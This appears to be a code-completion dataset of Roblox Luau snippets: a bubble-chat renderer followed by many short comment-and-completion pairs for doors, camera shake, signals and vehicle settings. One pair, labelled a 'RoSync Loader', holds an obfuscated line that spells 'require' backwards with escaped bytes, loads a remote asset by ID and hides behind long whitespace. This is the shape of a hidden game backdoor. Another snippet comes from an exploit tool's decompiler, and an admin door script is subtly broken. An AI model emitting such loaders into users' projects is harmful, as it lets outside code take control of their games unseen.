	billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
	billboardGui.Parent = BubbleChatScreenGui

	local billboardFrame = Instance.new("Frame")
	billboardFrame.Name = "BillboardFrame"
	billboardFrame.Size = UDim2.new(1,0,1,0)
	billboardFrame.Position = UDim2.new(0,0,-0.5,0)
	billboardFrame.BackgroundTransparency = 1
	billboardFrame.Parent = billboardGui

	local billboardChildRemovedCon = nil
	billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
		if #billboardFrame:GetChildren() <= 1 then
			billboardChildRemovedCon:disconnect()
			billboardGui:Destroy()
		end
	end)

	this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame

	return billboardGui
end

function this:CreateBillboardGuiHelper(instance, onlyCharacter)
	if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		if not onlyCharacter then
			if instance:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(instance)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
				return
			end
		end

		if instance:IsA("Model") then
			local head = instance:FindFirstChild("Head")
			if head and head:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(head)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
			end
		end
	end
end

local function distanceToBubbleOrigin(origin)
	if not origin then return 100000 end

	return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end

local function isPartOfLocalPlayer(adornee)
	if adornee and PlayersService.LocalPlayer.Character then
		return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
	end
end

function this:SetBillboardLODNear(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = true
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end

function this:SetBillboardLODDistant(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(4,0,3,0)
	billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = false
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end

function this:SetBillboardLODVeryFar(billboardGui)
	billboardGui.Enabled = false
end

function this:SetBillboardGuiLOD(billboardGui, origin)
	if not origin then return end

	if origin:IsA("Model") then
		local head = origin:FindFirstChild("Head")
		if not head then origin = origin.PrimaryPart
		else origin = head end
	end

	local bubbleDistance = distanceToBubbleOrigin(origin)

	if bubbleDistance < NEAR_BUBBLE_DISTANCE then
		this:SetBillboardLODNear(billboardGui)
	elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
		this:SetBillboardLODDistant(billboardGui)
	else
		this:SetBillboardLODVeryFar(billboardGui)
	end
end

function this:CameraCFrameChanged()
	for index, value in pairs(this.CharacterSortedMsg:GetData()) do
		local playerBillboardGui = value["BillboardGui"]
		if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
	end
end

function this:CreateBubbleText(message)
	local bubbleText = Instance.new("TextLabel")
	bubbleText.Name = "BubbleText"
	bubbleText.BackgroundTransparency = 1
	bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
	bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
	bubbleText.Font = CHAT_BUBBLE_FONT
	if shouldClipInGameChat then
		bubbleText.ClipsDescendants = true
	end
	bubbleText.TextWrapped = true
	bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
	bubbleText.Text = message
	bubbleText.Visible = false

	return bubbleText
end

function this:CreateSmallTalkBubble(chatBubbleType)
	local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
	smallTalkBubble.Name = "SmallTalkBubble"
	smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
	smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
	smallTalkBubble.Visible = false
	local text = this:CreateBubbleText("...")
	text.TextScaled = true
	text.TextWrapped = false
	text.Visible = true
	text.Parent = smallTalkBubble

	return smallTalkBubble
end

function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
	local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
	local bubbleQueueSize = bubbleQueue:Size()
	local bubbleQueueData = bubbleQueue:GetData()
	if #bubbleQueueData <= 1 then return end

	for index = (#bubbleQueueData - 1), 1, -1 do
		local value = bubbleQueueData[index]
		local bubble = value.RenderBubble
		if not bubble then return end
		local bubblePos = bubbleQueueSize - index + 1

		if bubblePos > 1 then
			local tail = bubble:FindFirstChild("ChatBubbleTail")
			if tail then tail:Destroy() end
			local bubbleText = bubble:FindFirstChild("BubbleText")
			if bubbleText then bubbleText.TextTransparency = 0.5 end
		end

		local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
									1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
		bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
		currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
	end
end

function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
	if not bubbleQueue then return end
	if bubbleQueue:Empty() then return end

	local bubble = bubbleQueue:Front().RenderBubble
	if not bubble then
		bubbleQueue:PopFront()
	 	return
	end

	spawn(function()
		while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
			task.wait()
		end

		bubble = bubbleQueue:Front().RenderBubble

		local timeBetween = 0
		local bubbleText = bubble:FindFirstChild("BubbleText")
		local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")

		while bubble and bubble.ImageTransparency < 1 do
			timeBetween = task.wait()
			if bubble then
				local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
				bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
				if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
				if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
			end
		end

		if bubble then
			bubble:Destroy()
			bubbleQueue:PopFront()
		end
	end)
end

function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
	if not instance then return end

	if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		this:CreateBillboardGuiHelper(instance, onlyCharacter)
	end

	local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
	if billboardGui then
		local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
		chatBubbleRender.Visible = false
		local bubbleText = this:CreateBubbleText(line.Message)

		bubbleText.Parent = chatBubbleRender
		chatBubbleRender.Parent = billboardGui.BillboardFrame

		line.RenderBubble = chatBubbleRender

		local currentTextBounds = TextService:GetTextSize(
				bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
				Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
		local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
		local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)

		-- prep chat bubble for tween
		chatBubbleRender.Size = UDim2.new(0,0,0,0)
		chatBubbleRender.Position = UDim2.new(0.5,0,1,0)

		local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT

		chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
											 	UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
											 	Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
											 	function() bubbleText.Visible = true end)

		-- todo: remove when over max bubbles
		this:SetBillboardGuiLOD(billboardGui, line.Origin)
		this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)

		delay(line.BubbleDieDelay, function()
			this:DestroyBubble(fifo, chatBubbleRender)
		end)
	end
end

function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
	if not this:BubbleChatEnabled() then return end

	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer

	local safeMessage = this:SanitizeChatLine(message)

	local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)

	if sourcePlayer and line.Origin then
		local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
		fifo:PushBack(line)
		--Game chat (badges) won't show up here
		this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
	end
end

function this:OnGameChatMessage(origin, message, color)
	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)

	local bubbleColor = BubbleColor.WHITE

	if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
	elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
	elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end

	local safeMessage = this:SanitizeChatLine(message)
	local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)

	this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
	this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end

function this:BubbleChatEnabled()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			local chatSettings = require(chatSettings)
			if chatSettings.BubbleChatEnabled ~= nil then
				return chatSettings.BubbleChatEnabled
			end
		end
	end
	return PlayersService.BubbleChat
end

function this:ShowOwnFilteredMessage()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			return chatSettings.ShowUserOwnFilteredMessage
		end
	end
	return false
end

function findPlayer(playerName)
	for i,v in pairs(PlayersService:GetPlayers()) do
		if v.Name == playerName then
			return v
		end
	end
end

ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)

local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
	cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end

game.Workspace.Changed:connect(function(prop)
	if prop == "CurrentCamera" then
		if cameraChangedCon then cameraChangedCon:disconnect() end
		if game.Workspace.CurrentCamera then
			cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
		end
	end
end)

local AllowedMessageTypes = nil

function getAllowedMessageTypes()
	if AllowedMessageTypes then
		return AllowedMessageTypes
	end
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			if chatSettings.BubbleChatMessageTypes then
				AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
				return AllowedMessageTypes
			end
		end
		local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
		if chatConstants then
			chatConstants = require(chatConstants)
			AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
		end
		return AllowedMessageTypes
	end
	return {"Message", "Whisper"}
end

function checkAllowedMessageType(messageData)
	local allowedMessageTypes = getAllowedMessageTypes()
	for i = 1, #allowedMessageTypes do
		if allowedMessageTypes[i] == messageData.MessageType then
			return true
		end
	end
	return false
end

local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")

OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
		if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
			return
		end
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)

OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
		return
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(21)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(21)


Prompt:
--///////////////////////// Constructors
--//////////////////////////////////////

Response:
function module.new(vChatService, name)
	local obj = setmetatable({}, methods)

	obj.ChatService = vChatService

	obj.PlayerObj = nil

	obj.Name = name
	obj.ExtraData = {}

	obj.Channels = {}
	obj.MutedSpeakers = {}
	obj.EventFolder = nil

	return obj
end

return module


Prompt: ----------All Scripts And Building Goes To Originalsavageguy345.Credit


Prompt:
--[=[
	@within Shake
	@prop FadeInTime number
	How long it takes for the shake to fade in, measured in seconds.

	Defaults to `1`.
]=]


Prompt: -- Track star progress from last change

Response:
local prevStarProgress = 0
local currStarProgress = 0


Prompt:
--I do this to make sure no one copys. :D
--[[ Last synced 7/9/2021 08:32                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt:
-- Returns an interpolation between position0 and position1.
--	Returns position0 when t = 0, and position1 when t = 1.

Response:
function moduleApiTable:Lerp(t, position0, position1)
	return (1 - t) * position0 + t * position1
end


Prompt: --CameraShaker.Presets = require(script.CameraShakePresets)

Response:
function CameraShaker.new(renderPriority, callback)

	assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)")
	assert(type(callback) == "function", "Callback must be a function")

	local self = setmetatable({
		_running = false;
		_renderName = "CameraShaker";
		_renderPriority = renderPriority;
		_posAddShake = v3Zero;
		_rotAddShake = v3Zero;
		_camShakeInstances = {};
		_removeInstances = {};
		_callback = callback;
	}, CameraShaker)

	return self

end

function CameraShaker:Start()
	if (self._running) then return end
	self._running = true
	local callback = self._callback
	game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt)
		profileBegin(profileTag)
		local cf = self:Update(dt)
		profileEnd()
		callback(cf)
	end)
end

function CameraShaker:Stop()
	if (not self._running) then return end
	game:GetService("RunService"):UnbindFromRenderStep(self._renderName)
	self._running = false
end

function CameraShaker:StopSustained(duration)
	for _,c in pairs(self._camShakeInstances) do
		if (c.fadeOutDuration == 0) then
			c:StartFadeOut(duration or c.fadeInDuration)
		end
	end
end

function CameraShaker:Update(dt)

	local posAddShake = v3Zero
	local rotAddShake = v3Zero

	local instances = self._camShakeInstances

	-- Update all instances:
	for i = 1,#instances do

		local c = instances[i]
		local state = c:GetState()

		if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then
			self._removeInstances[#self._removeInstances + 1] = i
		elseif (state ~= CameraShakeState.Inactive) then
			local shake = c:UpdateShake(dt)
			posAddShake = posAddShake + (shake * c.PositionInfluence)
			rotAddShake = rotAddShake + (shake * c.RotationInfluence)
		end

	end

	-- Remove dead instances:
	for i = #self._removeInstances,1,-1 do
		local instIndex = self._removeInstances[i]
		table.remove(instances, instIndex)
		self._removeInstances[i] = nil
	end

	return CF(posAddShake) *
		ANG(0, RAD(rotAddShake.Y), 0) *
		ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z))

end

function CameraShaker:Shake(shakeInstance)
	assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
	self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
	return shakeInstance
end

function CameraShaker:ShakeSustain(shakeInstance)
	assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
	self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
	shakeInstance:StartFadeIn(shakeInstance.fadeInDuration)
	return shakeInstance
end

function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence)
	local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
	shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
	shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
	self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
	return shakeInstance
end

function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence)
	local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime)
	shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
	shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
	shakeInstance:StartFadeIn(fadeInTime)
	self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
	return shakeInstance
end

return CameraShaker


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__6 = game.TweenService;
local l__Debris__7 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
	local v8 = game.ReplicatedStorage.KillFX.Portal.Portal:Clone();
	v8.Parent = workspace.Ignored.Animations;
	v8.Portal:Play();
	v8.CFrame = CFrame.new(p2.Position) * CFrame.new(math.random(-15, 15), 5, math.random(-15, 15));
	local v9 = game.ReplicatedStorage.KillFX.Portal:FindFirstChildOfClass("BodyPosition"):Clone();
	v9.Position = v8.Position;
	v9.Parent = p2;
	for v10, v11 in pairs(p2.Parent:GetDescendants()) do
		if v11:IsA("Decal") or v11:IsA("BasePart") then
			game.TweenService:Create(v11, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
				Transparency = 1
			}):Play();
		end;
	end;
	task.delay(0.5, function()
		for v12, v13 in pairs(v8.Attachment:GetChildren()) do
			v13.Enabled = false;
			task.wait(0.3);
			v13.Squash = NumberSequence.new(0.1, 1);
		end;
	end);
	return nil;
end;
return v1;


Prompt:
-- Max angle the wheels will reach when turning
-- Higher number means sharper turning, but too high means the wheels might hit the car base

Response: local MAX_TURN_ANGLE = 30


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 3 -- cooldown for use of the tool again

ZoneModelName = "Dark string" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: --// Player Events

Response:
game:GetService("RunService").Heartbeat:connect(function()
	for _,v in pairs(game.Players:GetChildren()) do
		UpdateTag(v)
	end
end)


Prompt: -- Return attempt debugging ID when converted to string

Response:
function Attempt:__tostring()
	return self.Id:gsub('table', 'Attempt');
end;


Prompt:
--[[*
 * This API should be called `delete` but we'd have to make sure to always
 * transform these to strings for IE support. When this transform is fully
 * supported we can rename it.
 ]]

Response:
local Shared = script.Parent
local Packages = Shared.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local inspect = LuauPolyfill.util.inspect
local getComponentName = require(script.Parent.getComponentName)

local exports = {}

local function isValidFiber(fiber): boolean
	return fiber.tag ~= nil
		and fiber.subtreeFlags ~= nil
		and fiber.lanes ~= nil
		and fiber.childLanes ~= nil
end

exports.remove = function(key)
	key._reactInternals = nil
end

exports.get = function(key)
	local value = key._reactInternals

	-- ROBLOX deviation: we have a crash in production this will help catch
	-- ROBLOX TODO: wrap this in __DEV__
	if not isValidFiber(value) then
		error(
			Error.new(
				"invalid fiber in "
					.. (getComponentName(key) or "UNNAMED Component")
					.. " during get from ReactInstanceMap! "
					.. inspect(value)
			)
		)
	elseif value.alternate ~= nil and not isValidFiber(value.alternate) then
		error(
			Error.new(
				"invalid alternate fiber ("
					.. (getComponentName(key) or "UNNAMED alternate")
					.. ") in "
					.. (getComponentName(key) or "UNNAMED Component")
					.. " during get from ReactInstanceMap! "
					.. inspect(value.alternate)
			)
		)
	end

	return value
end

exports.has = function(key)
	return key._reactInternals ~= nil
end

exports.set = function(key, value)
	-- ROBLOX deviation: we have a crash in production this will help catch
	-- ROBLOX TODO: wrap this in __DEV__
	local parent = value
	local message
	while parent ~= nil do
		if not isValidFiber(parent) then
			message = "invalid fiber in "
				.. (getComponentName(key) or "UNNAMED Component")
				.. " being set in ReactInstanceMap! "
				.. inspect(parent)
				.. "\n"

			if value ~= parent then
				message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
			end
			error(Error.new(message))
		elseif
			(parent :: any).alternate ~= nil
			and not isValidFiber((parent :: any).alternate)
		then
			message = "invalid alternate fiber ("
				.. (getComponentName(key) or "UNNAMED alternate")
				.. ") in "
				.. (getComponentName(key) or "UNNAMED Component")
				.. " being set in ReactInstanceMap! "
				.. inspect((parent :: any).alternate)
				.. "\n"

			if value ~= parent then
				message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
			end
			error(Error.new(message))
		end
		parent = (parent :: any).return_
	end

	(key :: any)._reactInternals = value
end

return exports


Prompt: --TweenParts

Response:
local Hinge = script.Parent.Parent.Hinge1
local OpenHinge = script.Parent.Parent.Open1
local ClosedHinge = script.Parent.Parent.Closed1
local Hinge1 = script.Parent.Parent.Hinge0
local OpenHinge1 = script.Parent.Parent.Open0
local ClosedHinge1 = script.Parent.Parent.Closed0


Prompt: --Refer to Settings.COMPARISON_CHECKS

Response:
local function comparePosition(self)
	if self._currentWaypoint == #self._waypoints then return end
	self._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0
	self._position._last = self._agent.PrimaryPart.Position
	if self._position._count >= Settings.COMPARISON_CHECKS then
		setJumpState(self)
	end
end


Prompt: --ice

Response:
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode10()
end

while true do
randval1 = Color3.new(1,0,0) --Red
randval2 = Color3.new(0,1,0) --Green
randval3 = Color3.new(0,0,1) --Blue
randval4 = Color3.new(1,1,0) --yellow
randval5 = Color3.new(1,0,1) --mag
randval6 = Color3.new(0,1,1) --cyn
randval7 = Color3.new(1,1,1) --white
randval8 = Color3.new(0,0,0) --blk

mode9()
end


Prompt:
-- Signal:Fire(...) implemented by running the handler functions on the
-- coRunnerThread, and any time the resulting thread yielded without returning
-- to us, that means that it yielded to the Roblox scheduler and has been taken
-- over by Roblox scheduling, meaning we have to make a new coroutine runner.

Response:
function Signal:Fire(...)
	local item = self._handlerListHead
	while item do
		if item._connected then
			if not freeRunnerThread then
				freeRunnerThread = coroutine.create(runEventHandlerInFreeThread)
			end
			task.spawn(freeRunnerThread, item._fn, ...)
		end
		item = item._next
	end
end


Prompt: -- Variables

Response:
local ServerStorage = game:GetService("ServerStorage")

local particlesFolder = ServerStorage:WaitForChild("SpecialEffects")
local upgradeParticle = particlesFolder:WaitForChild("ParticleLap")
local upgradeCheckpoint = particlesFolder:WaitForChild("ParticleCheckpoint")

local particleHolderName = "HumanoidRootPart"
local particleEmitRate = 20


Prompt: -- Variables for services

Response:
local render = game:GetService("RunService").RenderStepped
local runService = game:GetService("RunService")
local contextActionService = game:GetService("ContextActionService")
local userInputService = game:GetService("UserInputService")


Prompt: --DO NOT EDIT BELOW!

Response:
local door = script.Parent

local db = false
door.Touched:connect(function(hit)
 if not db then
  db = true
  local humanoid = hit.Parent:FindFirstChild("Humanoid")
  if humanoid then
   local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
   for _,name in pairs(Admins) do
    if string.lower(plr.Name) == string.lower(name) then
     door.Transparency = 0
     door.CanCollide = false
     wait(3)
     door.Transparency = 0
     door.CanCollide = true
    end
   end
  end
  db = false
 end
end)


Prompt: -- // Visual Config

Response:
local CONE_HEIGHT = 0.25
local LINE_THICKNESS = 2.5
local TRANSPARENCY = 0.5
local ALWAYS_ON_TOP = true


Response:
local light = true -- Set to false if u dont have light added
local maxv = 133 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane
local minspeed = -30 -- min speed In real KT
local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops